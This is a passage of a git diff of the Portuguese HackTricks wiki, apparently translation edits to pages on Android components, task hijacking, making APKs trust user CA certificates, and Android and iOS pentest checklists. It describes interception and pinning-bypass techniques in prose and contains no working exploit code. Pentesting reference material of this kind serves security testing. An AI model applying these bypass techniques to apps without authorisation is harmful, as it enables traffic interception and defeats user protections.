Intent" determina qual aplicativo deve receber cada mensagem. Esse processo considera o atributo de **prioridade**, que pode ser definido na declaração do **intent-filter**, e **o que tiver a prioridade mais alta será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se surgir um **conflito**, uma janela de "escolha" aparece para que o **usuário possa decidir**. +O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Esse processo considera o atributo de **prioridade**, que pode ser definido na declaração do **intent-filter**, e **o com a prioridade mais alta será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se surgir um **conflito**, uma janela de "escolha" aparece para que o **usuário possa decidir**. ### Intenções Explícitas @@ -185,7 +185,7 @@ Estas permitem que outras aplicações **realizem ações em nome da sua aplica ### Intenções de Transmissão -Ao contrário das intenções anteriores, que são recebidas apenas por uma aplicação, as intenções de transmissão **podem ser recebidas por várias aplicações**. No entanto, a partir da versão API 14, é **possível especificar a aplicação que deve receber** a mensagem usando Intent.setPackage. +Ao contrário das intenções anteriores, que são recebidas apenas por uma aplicação, as intenções de transmissão **podem ser recebidas por várias aplicações**. No entanto, a partir da versão da API 14, é **possível especificar a aplicação que deve receber** a mensagem usando Intent.setPackage. Alternativamente, também é possível **especificar uma permissão ao enviar a transmissão**. A aplicação receptora precisará ter essa permissão. @@ -204,7 +204,7 @@ Se encontrar funções contendo a palavra "persistentes" como **`sendStickyBroad ## Links Profundos / Esquemas de URL -Nas aplicações Android, os **links profundos** são utilizados para iniciar uma ação (Intenção) diretamente através de um URL. Isso é feito ao declarar um **esquema de URL específico** dentro de uma atividade. Quando um dispositivo Android tenta **acessar um URL com este esquema**, a atividade especificada dentro da aplicação é iniciada. +Nas aplicações Android, os **links profundos** são usados para iniciar uma ação (Intenção) diretamente através de um URL. Isso é feito declarando um **esquema de URL específico** dentro de uma atividade. Quando um dispositivo Android tenta **acessar um URL com este esquema**, a atividade especificada dentro da aplicação é iniciada. O esquema deve ser declarado no arquivo **`AndroidManifest.xml`**: ```xml @@ -237,7 +237,7 @@ Saiba como [chamar deep links sem usar páginas HTML](./#exploiting-schemes-deep ## AIDL - Linguagem de Definição de Interface Android -A **Linguagem de Definição de Interface Android (AIDL)** é projetada para facilitar a comunicação entre cliente e serviço em aplicativos Android por meio da **comunicação entre processos** (IPC). Como acessar diretamente a memória de outro processo não é permitido no Android, o AIDL simplifica o processo ao empacotar objetos em um formato compreendido pelo sistema operacional, facilitando assim a comunicação entre diferentes processos. +A **Linguagem de Definição de Interface Android (AIDL)** é projetada para facilitar a comunicação entre cliente e serviço em aplicativos Android por meio de **comunicação entre processos** (IPC). Como acessar diretamente a memória de outro processo não é permitido no Android, o AIDL simplifica o processo ao empacotar objetos em um formato compreendido pelo sistema operacional, facilitando assim a comunicação entre diferentes processos. ### Conceitos Chave @@ -255,7 +255,7 @@ Estes incluem: **Atividades, Serviços, Receptores de Transmissão e Provedores. Nos aplicativos Android, as **atividades** são como telas, mostrando diferentes partes da interface do usuário do aplicativo. Um aplicativo pode ter muitas atividades, cada uma apresentando uma tela única ao usuário. -A **atividade de lançamento** é a principal porta de entrada para um aplicativo, sendo lançada quando você toca no ícone do aplicativo. Ela é definida no arquivo de manifesto do aplicativo com intenções MAIN e LAUNCHER específicas: +A **atividade de lançamento** é a porta de entrada principal para um aplicativo, sendo lançada quando você toca no ícone do aplicativo. Ela é definida no arquivo de manifesto do aplicativo com intenções MAIN e LAUNCHER específicas: ```markup @@ -306,11 +306,11 @@ Uma aplicação interessante dos serviços inclui a reprodução de música em s Os **receptores de transmissão** atuam como ouvintes em um sistema de mensagens, permitindo que várias aplicações respondam às mesmas mensagens do sistema. Um aplicativo pode **registrar um receptor** de **duas maneiras principais**: através do **Manifest** do aplicativo ou **dinamicamente** dentro do código do aplicativo via API **`registerReceiver`**. No Manifest, as transmissões são filtradas com permissões, enquanto receptores registrados dinamicamente também podem especificar permissões durante o registro. -Os **filtros de intenção** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja adequadamente, como ajustar o comportamento em resposta a um alerta de bateria fraca. +**Filtros de intenção** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja adequadamente, como ajustar o comportamento em resposta a um alerta de bateria fraca. As transmissões podem ser **assíncronas**, alcançando todos os receptores sem ordem, ou **síncronas**, onde os receptores recebem a transmissão com base em prioridades definidas. No entanto, é importante observar o risco de segurança potencial, pois qualquer aplicativo pode se priorizar para interceptar uma transmissão. -Para entender a funcionalidade de um receptor, procure pelo método **`onReceive`** dentro de sua classe. O código deste método pode manipular a Intenção recebida, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar a Intenção. +Para entender a funcionalidade de um receptor, procure o método **`onReceive`** dentro de sua classe. O código deste método pode manipular a Intenção recebida, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar a Intenção. ### Provedor de Conteúdo @@ -347,7 +347,7 @@ WebViews são como **mini navegadores da web** dentro de aplicativos Android, ex O Android oferece dois tipos principais de WebView: - **WebViewClient** é ótimo para HTML básico, mas não suporta a função de alerta JavaScript, afetando como os ataques XSS podem ser testados. -- **WebChromeClient** se comporta mais como a experiência completa do navegador Chrome. +- **WebChromeClient** age mais como a experiência completa do navegador Chrome. Um ponto chave é que os navegadores WebView **não compartilham cookies** com o navegador principal do dispositivo. @@ -355,7 +355,7 @@ Para carregar conteúdo, métodos como ````loadUrl````, ````loadData````, e ```` A "Bridge" JavaScript permite que objetos Java interajam com JavaScript, exigindo que os métodos sejam marcados com ````@JavascriptInterface```` para segurança a partir do Android 4.2. -Permitir acesso ao conteúdo (````setAllowContentAccess(true)````) permite que WebViews acessem Provedores de Conteúdo, o que poderia representar um risco, a menos que os URLs de conteúdo sejam verificados como seguros. +Permitir acesso ao conteúdo (````setAllowContentAccess(true)````) permite que WebViews alcancem Provedores de Conteúdo, o que poderia ser um risco, a menos que os URLs de conteúdo sejam verificados como seguros. Para controlar o acesso a arquivos: - Desativar o acesso a arquivos (````setAllowFileAccess(false)````) limita o acesso ao sistema de arquivos, com exceções para determinados ativos, garantindo que sejam usados apenas para conteúdo não sensível. @@ -372,7 +372,7 @@ Para controlar o acesso a arquivos: ### **Gerenciamento de Dispositivos Móveis (MDM)** -- As **soluções de MDM** fornecem **supervisão e segurança** para dispositivos móveis por meio da **API de Administração de Dispositivos**. Elas exigem a instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **impor políticas de senha**, **exigir criptografia de armazenamento** e **permitir a exclusão remota de dados**, garantindo controle abrangente e segurança sobre dispositivos móveis. +- As **soluções de MDM** fornecem **supervisão e segurança** para dispositivos móveis por meio da **API de Administração de Dispositivos**. Elas exigem a instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **impor políticas de senha**, **exigir criptografia de armazenamento** e **permitir a limpeza remota de dados**, garantindo controle abrangente e segurança sobre os dispositivos móveis. ```java // Example of enforcing a password policy with MDM DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); @@ -385,7 +385,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8); ``` **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -393,9 +393,9 @@ dpm.setPasswordMinimumLength(adminComponent, 8); Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! -Outras maneiras de apoiar o HackTricks: +Outras formas de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** diff --git a/mobile-pentesting/android-app-pentesting/android-task-hijacking.md b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md index 82bb8a06f..431ec56b5 100644 --- a/mobile-pentesting/android-app-pentesting/android-task-hijacking.md +++ b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md @@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks: **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -43,7 +43,7 @@ Nas aplicações Android, a **afinidade de tarefa** especifica a tarefa preferid ### Modos de Lançamento -O atributo `launchMode` direciona o tratamento de instâncias de atividade dentro de tarefas. O modo **singleTask** é fundamental para este ataque, ditando três cenários com base nas instâncias de atividade existentes e nas correspondências de afinidade de tarefa. A exploração depende da capacidade do aplicativo do atacante de imitar a afinidade de tarefa do aplicativo alvo, enganando o sistema Android para lançar o aplicativo do atacante em vez do alvo pretendido. +O atributo `launchMode` direciona o tratamento de instâncias de atividade dentro de tarefas. O modo **singleTask** é fundamental para este ataque, ditando três cenários com base nas instâncias de atividade existentes e nas correspondências de afinidade de tarefa. A exploração depende da capacidade do aplicativo do atacante de imitar a afinidade de tarefa do aplicativo alvo, enganando o sistema Android para lançar o aplicativo do atacante em vez do aplicativo alvo pretendido. ### Etapas Detalhadas do Ataque @@ -66,7 +66,7 @@ Para prevenir tais ataques, os desenvolvedores podem definir `taskAffinity` como **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} diff --git a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index ad5e92677..7e5b4bdcd 100644 --- a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -4,7 +4,7 @@ Outras formas de apoiar o HackTricks: -* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** @@ -14,7 +14,7 @@ Outras formas de apoiar o HackTricks: **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,7 +24,7 @@ Algumas aplicações não aceitam certificados baixados pelo usuário, então, p # Automático -A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) irá **automaticamente** fazer as alterações necessárias na aplicação para começar a capturar as solicitações e também desabilitará o pinning de certificados (se houver). +A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) fará as alterações necessárias na aplicação para começar a capturar as solicitações e também desabilitará o pinning de certificados (se houver). # Manual @@ -62,3 +62,23 @@ Em seguida, salve o arquivo e saia de todos os diretórios e reconstrua o apk co ![](../../.gitbook/assets/img12.png) Por fim, você só precisa **assinar a nova aplicação**. [Leia esta seção da página Smali - Decompilando/\[Modificando\]/Compilando para aprender como assiná-la](smali-changes.md#sing-the-new-apk). + +
+ +**Try Hard Security Group** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! + +Outras formas de apoiar o HackTricks: + +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. + +
diff --git a/mobile-pentesting/android-checklist.md b/mobile-pentesting/android-checklist.md index d0d7cad4d..a97129949 100644 --- a/mobile-pentesting/android-checklist.md +++ b/mobile-pentesting/android-checklist.md @@ -4,7 +4,7 @@ Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! -* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** @@ -14,7 +14,7 @@ **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -22,7 +22,7 @@ ### [Aprenda os fundamentos do Android](android-app-pentesting/#2-android-application-fundamentals) -* [ ] [Básicos](android-app-pentesting/#fundamentals-review) +* [ ] [Noções básicas](android-app-pentesting/#fundamentals-review) * [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali) * [ ] [Pontos de entrada](android-app-pentesting/#application-entry-points) * [ ] [Atividades](android-app-pentesting/#launcher-activity) @@ -53,7 +53,7 @@ * [ ] O aplicativo está salvando dados de forma insegura interna ou externamente? * [ ] Existe alguma senha codificada ou salva em disco? O aplicativo está usando algoritmos de criptografia inseguros? * [ ] Todas as bibliotecas compiladas usando a flag PIE? -* [ ] Não se esqueça de que existem muitos [Analisadores Estáticos de Android](android-app-pentesting/#automatic-analysis) que podem ajudar muito durante esta fase. +* [ ] Não se esqueça de que existem muitos [Analisadores Estáticos para Android](android-app-pentesting/#automatic-analysis) que podem ajudar muito durante esta fase. ### [Análise Dinâmica](android-app-pentesting/#dynamic-analysis) @@ -65,19 +65,19 @@ * [ ] Serviços expostos exploráveis * [ ] Receptores de Transmissão exploráveis * [ ] O aplicativo está transmitindo informações em texto claro/usando algoritmos fracos? É possível um ataque Man-in-the-Middle? -* [ ] Inspecionar tráfego HTTP/HTTPS +* [ ] [Inspeção do tráfego HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic) * [ ] Isso é realmente importante, porque se você pode capturar o tráfego HTTP, pode procurar por vulnerabilidades comuns na Web (Hacktricks tem muitas informações sobre vulnerabilidades na Web). * [ ] Verifique possíveis [Injeções do Lado do Cliente Android](android-app-pentesting/#android-client-side-injections-and-others) (provavelmente alguma análise de código estático ajudará aqui) * [ ] [Frida](android-app-pentesting/#frida): Apenas Frida, use-o para obter dados dinâmicos interessantes do aplicativo (talvez algumas senhas...) -### Algumas informações de obfuscação/Desobfuscação +### Algumas informações de ofuscação/Desofuscação * [ ] [Leia aqui](android-app-pentesting/#obfuscating-deobfuscating-code) **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -85,7 +85,7 @@ Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! -* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md index a69d8fcc9..b414ef980 100644 --- a/mobile-pentesting/ios-pentesting-checklist.md +++ b/mobile-pentesting/ios-pentesting-checklist.md @@ -4,7 +4,7 @@ \ Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\ -Acesse hoje mesmo: +Acesse hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -14,17 +14,17 @@ Acesse hoje mesmo: Outras formas de apoiar o HackTricks: -* Se deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -34,53 +34,53 @@ Outras formas de apoiar o HackTricks: * [ ] Leia [**Noções Básicas do iOS**](ios-pentesting/ios-basics.md) * [ ] Prepare seu ambiente lendo [**Ambiente de Teste iOS**](ios-pentesting/ios-testing-environment.md) -* [ ] Leia todas as seções de [**Análise Inicial do iOS**](ios-pentesting/#initial-analysis) para aprender ações comuns para pentest em um aplicativo iOS +* [ ] Leia todas as seções de [**Análise Inicial do iOS**](ios-pentesting/#initial-analysis) para aprender ações comuns para pentestear um aplicativo iOS ### Armazenamento de Dados -* [ ] Os arquivos [**Plist**](ios-pentesting/#plist) podem ser usados para armazenar informações sensíveis. +* [ ] Os [**arquivos Plist**](ios-pentesting/#plist) podem ser usados para armazenar informações sensíveis. * [ ] O [**Core Data**](ios-pentesting/#core-data) (banco de dados SQLite) pode armazenar informações sensíveis. * [ ] Os [**Bancos de Dados Yap**](ios-pentesting/#yapdatabase) (banco de dados SQLite) podem armazenar informações sensíveis. * [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) com configuração incorreta. * [ ] Os [**bancos de dados Realm**](ios-pentesting/#realm-databases) podem armazenar informações sensíveis. * [ ] Os [**bancos de dados Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) podem armazenar informações sensíveis. * [ ] Os [**cookies binários**](ios-pentesting/#cookies) podem armazenar informações sensíveis. -* [ ] Os dados de **cache** podem armazenar informações sensíveis. -* [ ] Os **snapshots automáticos** podem salvar informações visuais sensíveis. -* [ ] O **Keychain** é geralmente usado para armazenar informações sensíveis que podem ser deixadas ao revender o telefone. +* [ ] Os dados de [**cache**](ios-pentesting/#cache) podem armazenar informações sensíveis. +* [ ] Os [**instantâneos automáticos**](ios-pentesting/#snapshots) podem salvar informações visuais sensíveis. +* [ ] O [**Keychain**](ios-pentesting/#keychain) é geralmente usado para armazenar informações sensíveis que podem ser deixadas ao revender o telefone. * [ ] Em resumo, apenas **verifique se há informações sensíveis salvas pelo aplicativo no sistema de arquivos** ### Teclados -* [ ] O aplicativo **permite o uso de teclados personalizados**? -* [ ] Verifique se informações sensíveis são salvas nos **arquivos de cache dos teclados** +* [ ] O aplicativo permite o uso de [**teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)? +* [ ] Verifique se informações sensíveis são salvas nos [**arquivos de cache dos teclados**](ios-pentesting/#custom-keyboards-keyboard-cache) ### **Logs** -* [ ] Verifique se **informações sensíveis estão sendo registradas** +* [ ] Verifique se [**informações sensíveis estão sendo registradas**](ios-pentesting/#logs) ### Backups -* [ ] Os **backups** podem ser usados para **acessar as informações sensíveis** salvas no sistema de arquivos (verifique o ponto inicial desta lista de verificação) -* [ ] Além disso, os **backups** podem ser usados para **modificar algumas configurações do aplicativo**, então **restaure** o backup no telefone e, como a **configuração modificada** é **carregada**, alguma (funcionalidade de segurança) pode ser **burlada** +* [ ] Os [**backups**](ios-pentesting/#backups) podem ser usados para **acessar as informações sensíveis** salvas no sistema de arquivos (verifique o ponto inicial desta lista de verificação) +* [ ] Além disso, os [**backups**](ios-pentesting/#backups) podem ser usados para **modificar algumas configurações do aplicativo**, então **restaure** o backup no telefone e, como a **configuração modificada** é **carregada**, alguma (funcionalidade de segurança) pode ser **burlada** ### **Memória do Aplicativo** -* [ ] Verifique se há informações sensíveis dentro da **memória do aplicativo** +* [ ] Verifique se há informações sensíveis dentro da [**memória do aplicativo**](ios-pentesting/#testing-memory-for-sensitive-data) ### **Criptografia Quebrada** -* [ ] Verifique se é possível encontrar **senhas usadas para criptografia** -* [ ] Verifique o uso de algoritmos **obsoletos/fracos** para enviar/armazenar dados sensíveis -* [ ] **Intercepte e monitore funções de criptografia** +* [ ] Verifique se você pode encontrar [**senhas usadas para criptografia**](ios-pentesting/#broken-cryptography) +* [ ] Verifique o uso de [**algoritmos obsoletos/fracos**](ios-pentesting/#broken-cryptography) para enviar/armazenar dados sensíveis +* [ ] [**Intercepte e monitore funções de criptografia**](ios-pentesting/#broken-cryptography) ### **Autenticação Local** -* [ ] Se uma **autenticação local** é usada no aplicativo, verifique como a autenticação está funcionando. -* [ ] Se estiver usando o **Framework de Autenticação Local**, pode ser facilmente burlado -* [ ] Se estiver usando uma **função que pode ser burlada dinamicamente**, você pode criar um script frida personalizado +* [ ] Se uma [**autenticação local**](ios-pentesting/#local-authentication) é usada no aplicativo, verifique como a autenticação está funcionando. +* [ ] Se estiver usando o [**Framework de Autenticação Local**](ios-pentesting/#local-authentication-framework), ela pode ser facilmente burlada +* [ ] Se estiver usando uma [**função que pode ser burlada dinamicamente**](ios-pentesting/#local-authentication-using-keychain), você pode criar um script frida personalizado -### Exposição de Funcionalidade Sensível por meio de IPC +### Exposição de Funcionalidade Sensível por IPC * [**Manipuladores de URI Personalizados / Deep Links / Esquemas Personalizados**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) * [ ] Verifique se o aplicativo está **registrando algum protocolo/esquema** @@ -94,7 +94,7 @@ Outras formas de apoiar o HackTricks: * [ ] Verifique se o aplicativo **não está verificando e sanitizando** a entrada dos usuários via esquema personalizado e alguma **vulnerabilidade pode ser explorada** * [ ] Verifique se o aplicativo **expõe alguma ação sensível** que pode ser chamada de qualquer lugar via esquema personalizado * [**Compartilhamento de UIActivity**](ios-pentesting/ios-uiactivity-sharing.md) -* [ ] Verifique se o aplicativo pode receber UIActivities e se é possível explorar alguma vulnerabilidade com uma atividade especialmente elaborada +* [ ] Verifique se o aplicativo pode receber UIActivities e se é possível explorar alguma vulnerabilidade com uma atividade especialmente criada * [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) * [ ] Verifique se o aplicativo está **copiando algo para a área de transferência geral** * [ ] Verifique se o aplicativo está **usando os dados da área de transferência geral para algo** @@ -108,18 +108,18 @@ Outras formas de apoiar o HackTricks: * [ ] Verifique se o Javascript pode acessar **métodos nativos** (`JSContext`, `postMessage`) ### Comunicação de Rede -* [ ] Realize um [**MitM na comunicação**](ios-pentesting/#network-communication) e procure por vulnerabilidades web. -* [ ] Verifique se o [**hostname do certificado**](ios-pentesting/#hostname-check) é verificado. -* [ ] Verifique/Burla o [**Certificate Pinning**](ios-pentesting/#certificate-pinning) +* [ ] Realizar um [**MitM na comunicação**](ios-pentesting/#network-communication) e procurar por vulnerabilidades web. +* [ ] Verificar se o [**hostname do certificado**](ios-pentesting/#hostname-check) é verificado. +* [ ] Verificar/Burlar o [**Certificate Pinning**](ios-pentesting/#certificate-pinning) ### **Diversos** -* [ ] Verifique os mecanismos de [**atualização/patching automático**](ios-pentesting/#hot-patching-enforced-updateing) -* [ ] Verifique por [**bibliotecas de terceiros maliciosas**](ios-pentesting/#third-parties) +* [ ] Verificar os mecanismos de [**atualização/patching automático**](ios-pentesting/#hot-patching-enforced-updateing) +* [ ] Verificar a presença de [**bibliotecas de terceiros maliciosas**](ios-pentesting/#third-parties) -**Grupo de Segurança Try Hard** +**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -129,9 +129,9 @@ Outras formas de apoiar o HackTricks: Outras formas de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). @@ -140,7 +140,7 @@ Outras formas de apoiar o HackTricks:
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\ +Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\ Tenha Acesso Hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/network-services-pentesting/43-pentesting-whois.md b/network-services-pentesting/43-pentesting-whois.md index 90d155475..6c284c527 100644 --- a/network-services-pentesting/43-pentesting-whois.md +++ b/network-services-pentesting/43-pentesting-whois.md @@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks: **Grupo de Segurança Try Hard** -
+
